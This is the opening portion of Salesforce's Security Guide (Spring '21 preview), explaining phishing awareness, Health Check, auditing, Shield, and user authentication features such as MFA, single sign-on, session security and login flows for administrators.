Salesforce Security Guide

Version 51.0, Spring ’21

PREVIEW

Note: This release is in preview. Features described in this document don’t become generally
available until the latest general availability date that Salesforce announces for this release. Before @salesforcedocs
then, and where features are noted as beta, pilot, or developer preview, we can’t guarantee general Last updated: December 18, 2020
availability within any particular time frame or at all. Make your purchase decisions only on the
basis of generally available products and features.
© Copyright 2000–2020 salesforce.com, inc. All rights reserved. Salesforce is a registered trademark of salesforce.com, inc.,

as are other names and marks. Other marks appearing herein may be trademarks of their respective owners.
CONTENTS

Chapter 1: Salesforce Security Guide . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1

Salesforce Security Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
Phishing and Malware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
Security Health Check . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
Auditing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Salesforce Shield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Authenticate Users . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
Elements of User Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
Configure User Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
Connected Apps . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78
Give Users Access to Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
Control Who Sees What . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
User Permissions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
Object Permissions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
Custom Permissions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96
Profiles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98
Create a User Role . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112
Share Objects and Fields . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112
Field-Level Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113
Sharing Rules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 120
User Sharing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132
What Is a Group? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 134
Manual Sharing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 138
Organization-Wide Sharing Defaults . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 138
Strengthen Your Data's Security with Shield Platform Encryption . . . . . . . . . . . . . . . . . . . . . 142
What You Can Encrypt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 143
How Encryption Works . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 155
Set Up Your Encryption Policy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 163
Filter Encrypted Data with Deterministic Encryption . . . . . . . . . . . . . . . . . . . . . . . . . . . 177
Key Management and Rotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 181
Shield Platform Encryption Customizations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215
Encryption Trade-Offs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219
Monitoring Your Organization’s Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 232
Monitor Login History . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 233
Field History Tracking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 234
Monitor Setup Changes with Setup Audit Trail . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 240
Transaction Security Policies (Legacy) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 244
Real-Time Event Monitoring . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 249
Real-Time Event Monitoring Definitions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 250
Contents

Considerations for Using Real-Time Event Monitoring . . . . . . . . . . . . . . . . . . . . . . . . 250

Enable Access to the Real-Time Event Monitoring . . . . . . . . . . . . . . . . . . . . . . . . . . 252
Stream and Store Event Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 252
Create Logout Event Triggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 259
How Chunking Works with ReportEvent and ListViewEvent . . . . . . . . . . . . . . . . . . . . . 260
Enhanced Transaction Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 262
Threat Detection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 322
Security Guidelines for Apex and Visualforce Development . . . . . . . . . . . . . . . . . . . . . . . . 342
Cross-Site Scripting (XSS) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 342
Formula Tags . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 344
Cross-Site Request Forgery (CSRF) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 345
SOQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 346
Data Access Control . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 348

INDEX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 349
CHAPTER 1 Salesforce Security Guide
In this chapter ... Salesforce is built with security to protect your data and applications. You can also implement your own
security scheme to reflect the structure and needs of your organization. Protecting your data is a joint
• Salesforce Security responsibility between you and Salesforce. The Salesforce security features enable you to empower your
Basics users to do their jobs safely and efficiently.
• Authenticate Users
• Give Users Access to
Data
• Share Objects and
Fields
• Strengthen Your
Data's Security with
Shield Platform
Encryption
• Monitoring Your
Organization’s
Security
• Real-Time Event
Monitoring
• Security Guidelines
for Apex and
Visualforce
Development

1
Salesforce Security Guide Salesforce Security Basics

Salesforce Security Basics

The Salesforce security features help you empower your users to do their jobs safely and efficiently. Salesforce limits exposure of data
to the users that act on it. Implement security controls that you think are appropriate for the sensitivity of your data. We'll work together
to protect your data from unauthorized access from outside your company and from inappropriate usage by your users.

IN THIS SECTION:
Phishing and Malware
If you see something suspicious related to your Salesforce implementation, report it to [email protected], in
addition to your own IT or security team. Trust starts with transparency. That’s why Salesforce displays real-time information on
system performance and security at http://trust.salesforce.com. For security-specific information, go to
http://trust.salesforce.com/security. This site provides live data on system performance, alerts for current and
recent phishing and malware attempts, and tips on security best practices for your organization.
Security Health Check
As an admin, you can use Health Check to identify and fix potential vulnerabilities in your security settings, all from a single page. A
summary score shows how your org measures against a security baseline, like the Salesforce Baseline Standard. You can upload up
to five custom baselines to use instead of the Salesforce Baseline Standard.
Auditing
Auditing provides information about use of the system, which can be critical in diagnosing potential or real security issues. The
Salesforce auditing features don't secure your organization by themselves; someone in your organization should do regular audits
to detect potential abuse.
Salesforce Shield
Salesforce Shield is a trio of security tools that helps admins and developers build extra levels of trust, compliance, and governance
right into business-critical apps. It includes Shield Platform Encryption, Event Monitoring, and Field Audit Trail. Ask your Salesforce
administrator if Salesforce Shield is available in your organization.

Phishing and Malware

If you see something suspicious related to your Salesforce implementation, report it to [email protected], in addition
to your own IT or security team. Trust starts with transparency. That’s why Salesforce displays real-time information on system
performance and security at http://trust.salesforce.com. For security-specific information, go to
http://trust.salesforce.com/security. This site provides live data on system performance, alerts for current and recent
phishing and malware attempts, and tips on security best practices for your organization.
The Security section of the Trust site includes valuable information that can help you safeguard your company's data. In addition to
security best practices, the site provides information on how to recognize and report phishing attempts and information on current
malware campaigns that could impact Salesforce customers.
• Phishing is a social engineering technique that attempts to acquire sensitive information, such as usernames, passwords, and credit
card details, by masquerading as a trustworthy person or entity. Phishing can occur via email, text messaging, voice calls, and other
avenues. Phishers often direct targets to click a link and enter valuable information or to open an attachment with the goal of
downloading malware onto the target’s device. As the Salesforce community grows, it becomes an increasingly appealing target
for phishers. You’ll never get an email or a phone call from a Salesforce employee asking you to reveal your login credentials, so
don’t reveal them to anyone. Report suspicious activities or emails regarding your Salesforce instance directly to the Salesforce
Security team at [email protected].

2
Salesforce Security Guide Phishing and Malware

• Malware is software designed to infiltrate or damage a computer system without the owner's informed consent. It’s a general term
used to cover various forms of hostile or intrusive software, including computer viruses,, and spyware. For a list of current security
advisories, go to https://trust.salesforce.com/en/security/security-advisories.

What Salesforce Is Doing About Phishing and Malware

Security is the foundation of our customers’ success, so Salesforce continues to implement the best possible practices and security
technologies to protect our ecosystem. Recent and ongoing actions include:
• Actively monitoring and analyzing logs to enable alerts to our customers who have been affected.
• Collaborating with leading security vendors and experts on the most effective security tools.
• Ongoing security education and engagement activities for Salesforce employees.
• Creating processes for developing products with security in mind.
• Proactively sharing security best practices with customers and partners through trust.salesforce.com/security and
other ongoing activities.

What Salesforce Recommends You Do

Salesforce is committed to setting the standards in software-as-a-service as an effective partner in customer security. In addition to our
internal efforts, Salesforce strongly recommends that customers implement the following changes to enhance security.
• To restrict access to your network, implement multi-factor authentication (MFA). For more information, see Multi-Factor Authentication.
• To activate IP range restrictions, modify your Salesforce implementation. These restrictions allow users to access Salesforce only from
your corporate network or VPN. For more information, see Restrict Where and When Users Can Log In to Salesforce.
• Set session security restrictions to make spoofing more difficult. For more information, see Modify Session Security Settings on page
28.
• Educate your employees not to open suspect emails and to be vigilant in guarding against phishing attempts.
• Use security solutions from leading vendors to deploy spam filtering and malware protection.
• Designate a security contact within your organization so that Salesforce can more effectively communicate with you. Contact your
Salesforce representative with this information.
• Use Enhanced Transaction Security to monitor events and take appropriate actions. For more information, see Enhanced Transaction
Security .
Salesforce has a Security Incident Response Team to respond to any security issues. To report a security incident or vulnerability to
Salesforce, contact [email protected]. Describe the issue in detail, and the team will respond promptly.

Email Awareness Best Practices

Phishing scams use fraudulent emails to get users to reveal confidential information. Such emails typically look like they come from a
legitimate organization and can contain links to what appears to be that organization's site. However, the site is actually a fake site
designed to capture information.
As these scams get more sophisticated, it can be tough to know whether an email is real or fake. For example, phishing emails can
include malicious links from documentforce.com domains. And Salesforce orgs that generate cases from inbound email can include
malicious content from those emails in the cases themselves.
The best way to avoid becoming the victim of a phishing or malware attack is to know what to look for. We recommend that you apply
the same best practices for cases generated through Salesforce as you do for phishing emails:
• Don’t click links or open attachments in emails and email-generated cases, unless you were expecting to receive it.

3
Salesforce Security Guide Security Health Check

• Treat all emails and cases originating from external email addresses as potentially untrustworthy.
• If an email or email-generated case contains messages instructing you to do any of the following, it’s most likely a phishing attempt:
– Click a link.
– Open an attachment.
– Validate your password.
– Log in to your account.
– Enter personal details or credentials.

If you receive a phishing email or Email-to-Case, delete it and notify your internal IT team. We appreciate your trust in us as we continue
to make your success our top priority.

Security Health Check

As an admin, you can use Health Check to identify and fix potential vulnerabilities in your security
EDITIONS
settings, all from a single page. A summary score shows how your org measures against a security
baseline, like the Salesforce Baseline Standard. You can upload up to five custom baselines to use Available in: both Salesforce
instead of the Salesforce Baseline Standard. Classic (not available in all
From Setup, enter Health Check in the Quick Find box, then select Health Check. orgs) and Lightning
Experience

Available in: Professional,

Enterprise, Performance,
Unlimited, and Developer
Editions

USER PERMISSIONS

To view Health Check and

export custom baselines:
• View Health Check
OR
In the baseline dropdown (1), choose the Salesforce Baseline Standard or a custom baseline. The
baseline consists of recommended values for High-Risk, Medium-Risk, Low-Risk, and Informational View Security Center
Security Settings (2). If you change settings to be less restrictive than what’s in the baseline, your Or
health check score (3) and grade (4) decreases. Manage Security Center
Your settings are shown with information about how they compare against baseline values (5). To To import custom baselines:
remediate a risk, edit the setting (6) or use Fix Risks (7) to quickly change settings to your selected • Manage Health Check
baseline’s recommended values without leaving the Health Check page. You can import, export, OR
edit, or delete a custom baseline with the baseline control menu (8).
View Security Center
Note: When we introduce new settings to Security Health Check, they are added to the Or
Salesforce Baseline Standard with default values. If you have a custom baseline, you are
Manage Security Center
prompted to add the new settings when you open your custom baseline.

Example: Suppose that you changed your password minimum length from 8 (the default
value) to 5, and changed other Password Policies settings to be less restrictive. These changes
make your users’ passwords more vulnerable to guessing and other brute force attacks. As a
result, your overall score decreases, and the settings are listed as risks.

4
Salesforce Security Guide Auditing

Fix Risks Limitations

Not all settings can be changed using the Fix Risks button. If a setting you want to adjust does not appear on the Fix Risks screen, change
it manually using the Edit link on the Health Check page.

SEE ALSO:
Salesforce Help: How Is the Health Check Score Calculated?
Salesforce Help: Create a Custom Baseline for Health Check
Salesforce Help: Custom Baseline File Requirements

Auditing
Auditing provides information about use of the system, which can be critical in diagnosing potential or real security issues. The Salesforce
auditing features don't secure your organization by themselves; someone in your organization should do regular audits to detect potential
abuse.
To verify that your system is actually secure, you should perform audits to monitor for unexpected changes or usage trends.
Record Modification Fields
All objects include fields to store the name of the user who created the record and who last modified the record. This provides some
basic auditing information.
Login History
You can review a list of successful and failed login attempts to your organization for the past six months. See Monitor Login History
on page 233.
Field History Tracking
You can also enable auditing for individual fields, which will automatically track any changes in the values of selected fields. Although
auditing is available for all custom objects, only some standard objects allow field-level auditing. See Field History Tracking on page
234.
Setup Audit Trail
Administrators can also view a Setup Audit Trail, which logs when modifications are made to your organization’s configuration. See
Monitor Setup Changes with Setup Audit Trail on page 240.

Salesforce Shield
Salesforce Shield is a trio of security tools that helps admins and developers build extra levels of trust, compliance, and governance right
into business-critical apps. It includes Shield Platform Encryption, Event Monitoring, and Field Audit Trail. Ask your Salesforce administrator
if Salesforce Shield is available in your organization.

Shield Platform Encryption

Shield Platform Encryption allows you to natively encrypt your most sensitive data at rest across all your Salesforce apps. Encrypting data
at rest adds another layer of protection to PII, sensitive, confidential, or proprietary data. It also helps you meet both external and internal
data compliance policies while keeping critical app functionality — like search, workflow, and validation rules. You keep full control over
encryption keys and can set encrypted data permissions to protect sensitive data from unauthorized users. See Shield Platform Encryption.
on page 142

5
Salesforce Security Guide Authenticate Users

Real-Time Event Monitoring

Real-Time Event Monitoring gives you access to detailed performance, security, and usage data on all your Salesforce apps. See who is
accessing critical business data when, and from where. Understand user adoption across your apps. Troubleshoot and optimize performance
to improve end-user experience. Event Monitoring data is tracked via the API and can be imported into any data visualization or application
monitoring tool, like Analytics, Splunk, or New Relic. To get started, check out our Event Monitoring training course.

Field Audit Trail

Field Audit Trail lets you know the state and value of your data for any date, at any time. You can use it for regulatory compliance, internal
governance, audit, or customer service. Built on a big data backend for massive scalability, Field Audit Trail helps companies create a
forensic data-level audit trail with up to 10 years of history. You can also set triggers for when data is deleted. See Field Audit Trail on
page 238.

Shield Learning Map: Find Learning Resources and Documentation

The Shield Learning Map is a friendly, centralized resource for all things Shield. No matter which Shield product you buy or how you
plan to use it, the learning map offers a clear path toward success. You can find links to the Shield Learning Map from Shield product
documentation, or go directly to https://shieldlearningmap.com.
On the landing page, get oriented to Shield with Dreamforce presentations, videos, and overview documentation. Then click the trail
to see resources—developer guides, how-to steps, Trailhead, and best practices—targeted at specific features and use cases. From
planning security policies to putting those policies into action, the map offers you just-in-time information for all stages of your Shield
journey.

And if you want to ask questions or find the latest information about Shield improvements, the map has you covered. The button bar
at the bottom of the map offers links to Shield-specific Trailblazer Community groups, discussion forums, on-demand webinars, and
release notes.

Authenticate Users
Authentication means preventing unauthorized access to your organization or its data by making sure each logged in user is who they
say they are.

6
Salesforce Security Guide Elements of User Authentication

IN THIS SECTION:
Elements of User Authentication
Salesforce provides several methods to authenticate users. Some methods are automatically enabled, and some require that you
enable and configure them. Using this user authentication spectrum, you can build authentication to fit your org’s needs and your
users’ use patterns.
Configure User Authentication
Choose login settings to ensure that your users are who they say they are.
Connected Apps
A connected app is a framework that enables an external application to integrate with Salesforce using APIs and standard protocols,
such as SAML, OAuth, and OpenID Connect. Connected apps use these protocols to authenticate, authorize, and provide single
sign-on (SSO) for external apps. The external apps that are integrated with Salesforce can run on the customer success platform,
other platforms, devices, or SaaS subscriptions. For example, when you log in to your Salesforce mobile app and see your data from
your Salesforce org, you’re using a connected app.

Elements of User Authentication

Salesforce provides several methods to authenticate users. Some methods are automatically enabled, and some require that you enable
and configure them. Using this user authentication spectrum, you can build authentication to fit your org’s needs and your users’ use
patterns.

User Authentication Spectrum

At one end of the user authentication spectrum, Salesforce automatically enables certain authentication methods. These methods
include passwords, cookies, and identity verification.
At the other end of the spectrum, you enable and configure user authentication methods to best fit your org’s needs and users’ use
patterns. These methods include multi-factor authentication (MFA), single sign-on, My Domain, network-based security, session security,
custom login flows, connected apps, and desktop client access.

IN THIS SECTION:
Manage User Passwords
Salesforce provides each user in your org with a unique username and password that the user must enter at each login. As an admin,
you can configure several settings to ensure that your users’ passwords are strong and secure.
Cookies
Salesforce issues a session cookie to record encrypted authentication information for the duration of a specific session.
Single Sign-On
Salesforce has its own system of user authentication, but some companies prefer to use an existing single sign-on capability to
simplify and standardize their user authentication.
My Domain
With My Domain, you specify a customer-specific name to include in your Salesforce org URLs and register it with Salesforce domain
registries worldwide. You can also customize your login page and better manage user login and authentication.

7
Salesforce Security Guide Elements of User Authentication

Multi-Factor Authentication
Multi-factor authentication (MFA) is an effective way to increase protection for user accounts against common threats like phishing
attacks, credential stuffing, and account takeovers. As a Salesforce admin, amplify your org’s security by requiring an extra level of
authentication for every user login. You can also require MFA when a user meets certain criteria, such as attempting to view reports
or access a connected app.
Network-Based Security
Network-based security limits where users can log in from, and when they can log in. This is different from user authentication, which
only determines who can log in. Use network-based security to limit the window of opportunity for an attacker and to make it more
difficult for an attacker to use stolen credentials.
Device Activation
Device activation tracks information about the devices from which users have verified their identity. Salesforce prompts users to
verify their identity when they access Salesforce from an unrecognized browser or application. Device activation is an extra layer of
security on top of username and password authentication.
Session Security
After logging in, a user establishes a session with the platform. Use session security to limit exposure to your network when a user
leaves the computer unattended while still logged in. Session security also limits the risk of internal attacks, such as when one
employee tries to use another employee’s session. Choose from several session settings to control session behavior.
Custom Login Flows
A login flow directs users through a login process before they access your Salesforce org or Experience Cloud site. You can use a
login flow to control the business processes that your users follow when they log in to Salesforce. After Salesforce authenticates a
user, the login flow directs the user through a process, such as enforcing strong authentication or collecting user information. When
users complete the login flow successfully, they’re redirected to their Salesforce org or site. If unsuccessful, the flow can log out users
immediately.
Single Sign-On
Single sign-on (SSO) is an authentication method that enables users to access multiple applications with one login and one set of
credentials. For example, after users log in to your org, they can automatically access all apps from the App Launcher. You can set
up your Salesforce org to trust a third-party identity provider to authenticate users. Or you can configure a third-party app to rely on
your org for authentication.
Desktop Client Access
Connect for Office is a desktop client that integrates Salesforce with your PC. As an administrator, you can control which desktop
clients your users can access as well as whether users are automatically notified when updates are available.

8
Salesforce Security Guide Elements of User Authentication

Manage User Passwords

Salesforce provides each user in your org with a unique username and password that the user must
EDITIONS
enter at each login. As an admin, you can configure several settings to ensure that your users’
passwords are strong and secure. Available in: both Salesforce
Classic (not available in all
orgs) and Lightning
Cookies Experience
Salesforce issues a session cookie to record encrypted authentication information for the duration
Password policies available
of a specific session.
in: All Editions
The session cookie does not include the user's username or password. Salesforce does not use
cookies to store other confidential user and session information, but instead implements more
advanced security methods based on dynamic data and encoded session IDs. USER PERMISSIONS

To set password policies:

Single Sign-On • Manage Password
Policies
Salesforce has its own system of user authentication, but some companies prefer to use an existing To reset user passwords
single sign-on capability to simplify and standardize their user authentication. and unlock users:
You have two options to implement single sign-on—federated authentication using Security • Reset User Passwords
Assertion Markup Language (SAML) or delegated authentication. and Unlock Users

Identity Providers
An identity provider is a trusted provider that lets you use single sign-on (SSO) to access other websites. A service provider is a website
that hosts apps. You can enable Salesforce as an identity provider and define one or more service providers. Your users can then access
other apps directly from Salesforce using SSO. SSO is a great help to your users—instead of having to remember many passwords, they
only have to remember one.
For more information, see “Identity Providers and Service Providers” in Salesforce Help.

My Domain
With My Domain, you specify a customer-specific name to include in your Salesforce org URLs and register it with Salesforce domain
registries worldwide. You can also customize your login page and better manage user login and authentication.
With My Domain, you can:
• Highlight your business identity with your unique domain URL.
• Brand your login page, and customize content on the right side of the page.
• Block or redirect page requests that don’t use the new domain name.
• Work in multiple Salesforce orgs in the same browser at the same time.
• Set custom login policy to determine how users are authenticated.
• Let users log in using a social account like Google or Facebook from the login page.
• Allow users to log in one time to access external services.
• Preserve deep links such as https://MyDomainName.my.salesforce.com/001/o during future instance refreshes
and org migrations.
For more information, see My Domain in Salesforce Help.

9
Salesforce Security Guide Elements of User Authentication

Multi-Factor Authentication
Multi-factor authentication (MFA) is an effective way to increase protection for user accounts against
EDITIONS
common threats like phishing attacks, credential stuffing, and account takeovers. As a Salesforce
admin, amplify your org’s security by requiring an extra level of authentication for every user login. Available in: both Salesforce
You can also require MFA when a user meets certain criteria, such as attempting to view reports or Classic (not available in all
access a connected app. orgs) and Lightning
Experience
Note: Multi-factor authentication was formerly called two-factor authentication or 2FA.
Available in: Essentials,
With MFA, users are required to prove they’re who they say they are by providing two or more Group, Professional,
pieces of evidence—or factors—when they log in. One factor is the user’s username and password Enterprise, Performance,
combination. The requirement for additional factors is satisfied through the use of a verification Unlimited, Developer, and
method that the user has in their possession, such as an authenticator app or a Universal Second Contact Manager Editions
Factor (U2F) security key. As an admin, you enable MFA through permissions or profile settings.
Users register verification methods for MFA through their own personal settings. Registering more
than one method is recommended.
For more information, see the following Help articles, the Admin Guide to Multi-Factor Authentication, and the Trailhead Module Secure
Your Users’ Identity.
You can also watch these MFA-related videos:
Set Up a Multi-Factor Authentication Requirement for Your Org
Lightning Login Overview (English Only)

SEE ALSO:
Multi-Factor Authentication Considerations

Network-Based Security
Network-based security limits where users can log in from, and when they can log in. This is different from user authentication, which
only determines who can log in. Use network-based security to limit the window of opportunity for an attacker and to make it more
difficult for an attacker to use stolen credentials.

Device Activation
Device activation tracks information about the devices from which users have verified their identity.
EDITIONS
Salesforce prompts users to verify their identity when they access Salesforce from an unrecognized
browser or application. Device activation is an extra layer of security on top of username and Available in: both Salesforce
password authentication. Classic (not available in all
When a user logs in from outside a trusted IP range from an unrecognized browser or app, Salesforce orgs) and Lightning
challenges the user to verify identity. Salesforce uses the highest-priority verification method Experience
available for each user. In order of priority, the methods are: Available in: Essentials,
1. Push notification or location-based automated verification with the Salesforce Authenticator Group, Professional,
mobile app (version 2 or later) connected to the user’s account Enterprise, Performance,
Unlimited, Developer, and
2. U2F security key registered with the user’s account
Contact Manager Editions
3. Verification code generated by a mobile authenticator app connected to the user’s account
4. Verification code sent via SMS to the user’s verified mobile device

10
Salesforce Security Guide Elements of User Authentication

5. Verification code sent via email to the user’s registered email address

Session Security
After logging in, a user establishes a session with the platform. Use session security to limit exposure to your network when a user leaves
the computer unattended while still logged in. Session security also limits the risk of internal attacks, such as when one employee tries
to use another employee’s session. Choose from several session settings to control session behavior.
You can control when an inactive user session expires. The default session timeout is two hours of inactivity. When the session timeout
is reached, users are prompted with a dialog that allows them to log out or continue working. If they don’t respond to this prompt, they
are logged out.

Note: When users close a browser window or tab, they aren’t automatically logged out from their Salesforce session. Ensure that
your users are aware of this behavior and that they end all sessions properly by selecting Your Name > Logout.
By default, Salesforce uses TLS (Transport Layer Security) and requires secure connections (HTTPS) for all communication. The Require
secure connections (HTTPS) setting determines whether TLS (HTTPS) is required for access to Salesforce. If you ask Salesforce to disable
this setting and change the URL from https:// to http://, you can still access the application. However, for added security,
require all sessions to use TLS. For more information, see Modify Session Security Settings on page 28.
You can restrict access to certain types of resources based on the level of security associated with the authentication method for the
user’s current session. By default, each login method has one of two security levels: Standard or High Assurance. You can change the
session security level and define policies so that specified resources are available only to users assigned a High Assurance level. For
details, see Session-level Security on page 35.
You can control whether your org stores user logins and whether they can appear from the Switcher with the settings Enable caching
and autocomplete on login page, Enable user switching, and Remember me until logout.

Custom Login Flows

A login flow directs users through a login process before they access your Salesforce org or Experience Cloud site. You can use a login
flow to control the business processes that your users follow when they log in to Salesforce. After Salesforce authenticates a user, the
login flow directs the user through a process, such as enforcing strong authentication or collecting user information. When users complete
the login flow successfully, they’re redirected to their Salesforce org or site. If unsuccessful, the flow can log out users immediately.
To create a flow, use either Flow Builder or Visualforce. Flow Builder is a point-and-click tool that you can use to design a simple flow
that users execute when logging in. Use Visualforce to have complete control over how the login page looks and behaves.
After creating a flow, designate the flow as a login flow and associate it with specific profiles in your org. You can create multiple login
flows and associate each one with a different user profile. Users assigned to one profile, like sales reps, experience a particular login
process as they log in. Users assigned to a different profile like service reps, experience a different login process.
When you associate a login flow with a profile, it’s applied each time a user with that profile logs in to an org or site. The flow is also
applied when a user logs in to the Salesforce mobile app and even Salesforce client apps that use OAuth. You can apply login flows to
Salesforce orgs and Experience Cloud sites.
Login flows support all Salesforce authentication methods: standard username and password, delegated authentication, SAML single
sign-on (SSO), and SSO through a third-party authentication provider. For example, users logging in with a LinkedIn account can go
through a login flow specific for LinkedIn users.

Note: You can’t apply login flows to API logins or when sessions are passed to the UI through frontdoor.jsp from a non-UI
login process.

11
Salesforce Security Guide Elements of User Authentication

Login Flow Use Cases

Wondering what you can use login flows for? Here are some example use cases.
• Enhance or customize the login experience by adding a logo or login message.
• Collect and update user data, such as an email address, phone number, or mailing address.
• Interact with users, and ask them to perform an action. For instance, you can ask them to complete a survey or accept terms of
service.
• Connect to a Customer 360 Identity service or geo-fencing service, and collect or verify user information.
• Enforce strong authentication, like implementing a multi-factor authentication (MFA) method using hardware, biometric, or another
authentication technique.
• Run a confirmation process. For example, have a user define a secret question, and validate the answer during login.
• Create more granular policies like setting up a policy that sends a notification every time a user logs in during non-standard working
hours.

Login Flow Execution

Before creating a login flow, it’s important to understand login flow execution.
• To invoke a login flow, the user must first be authenticated. Login flows don’t replace the existing Salesforce authentication process.
They integrate new steps or ask the user for information.
• During login-flow execution, users have restricted access. Users in a login flow can access only the flow—they can’t bypass it to get
to the application. They can log in to the org only when they successfully authenticate and complete the flow.

Create and Manage Login Flows

For help with creating and managing login flows, review these articles.

IN THIS SECTION:
Create a Login Flow with Flow Builder
Use the point-and-click Flow Builder to create a login flow declaratively. With this tool, you create a screen flow—a collection of
screens and connectors that step users through a business process when they log in.
Create a Custom Login Flow with Visualforce
Use Visualforce and an Apex controller to create a custom login flow programmatically. With Visualforce, you have complete control
over how your login page looks, behaves, and directs users after they complete the flow. You can design your login page from scratch
and control every pixel of the page.

SEE ALSO:
Login Flow Examples

12
Salesforce Security Guide Elements of User Authentication

Single Sign-On
Single sign-on (SSO) is an authentication method that enables users to access multiple applications
EDITIONS
with one login and one set of credentials. For example, after users log in to your org, they can
automatically access all apps from the App Launcher. You can set up your Salesforce org to trust a Available in: both Salesforce
third-party identity provider to authenticate users. Or you can configure a third-party app to rely Classic (not available in all
on your org for authentication. orgs) and Lightning
When you set up SSO, you configure one system to trust another to authenticate users, eliminating Experience
the need for users to log in to each system separately. The system that authenticates users is called Federated Authentication is
an identity provider. The system that trusts the identity provider for authentication is called the available in: All Editions
service provider.
Delegated Authentication is
For example, you can configure Google as an identity provider to authenticate users accessing your available in: Professional,
org. So users log in to your org using their Google credentials. In this example, your org acts as the Enterprise, Performance,
service provider, trusting Google to accurately authenticate users. Unlimited, Developer, and
You can configure your Salesforce org as an identity provider, a service provider, or both. For each Database.com Editions
of these use cases, you select the authentication protocol to use. Salesforce supports SSO with Authentication Providers are
SAML and OpenID Connect. Salesforce also has preconfigured authentication providers that you available in: Professional,
can use to enable SSO with systems that have their own authentication protocols, like Facebook. Enterprise, Performance,
For more information, see Single Sign-On Use Cases. To see a SAML SSO implementation where Unlimited, and Developer
Salesforce is the identity provider, watch this video. Editions

You can also set up a single identity provider to authenticate users for multiple service providers.
For example, you can enable your org as an identity provider and configure Workday and Office USER PERMISSIONS
365 as service providers. Users can then access your org, Workday, and Office 365 with one login.
To view the settings:
After you configure SSO, set up Single Logout so users can log out of a service provider and identity
• View Setup and
provider at the same time.
Configuration
To edit the settings:
SSO Content • Customize Application
Refer to the following Help articles to learn about and set up SSO in Salesforce. AND
Modify All Data
SEE ALSO:
FAQs for Single Sign-On

Desktop Client Access

Connect for Office is a desktop client that integrates Salesforce with your PC. As an administrator,
EDITIONS
you can control which desktop clients your users can access as well as whether users are
automatically notified when updates are available. Connect for Office available
To set permissions for Salesforce for Outlook, use the “Manage Email Client Configurations” in: both Salesforce Classic
permission. and Lightning Experience

You can set users' access to desktop client by editing their profiles. Connect for Office available
The desktop client access options are: in: All Editions except
Database.com

13
Salesforce Security Guide Elements of User Authentication

Option Meaning
Off (access denied) The respective client download page in users’ personal settings is hidden. Also,
users can't log in from the client.

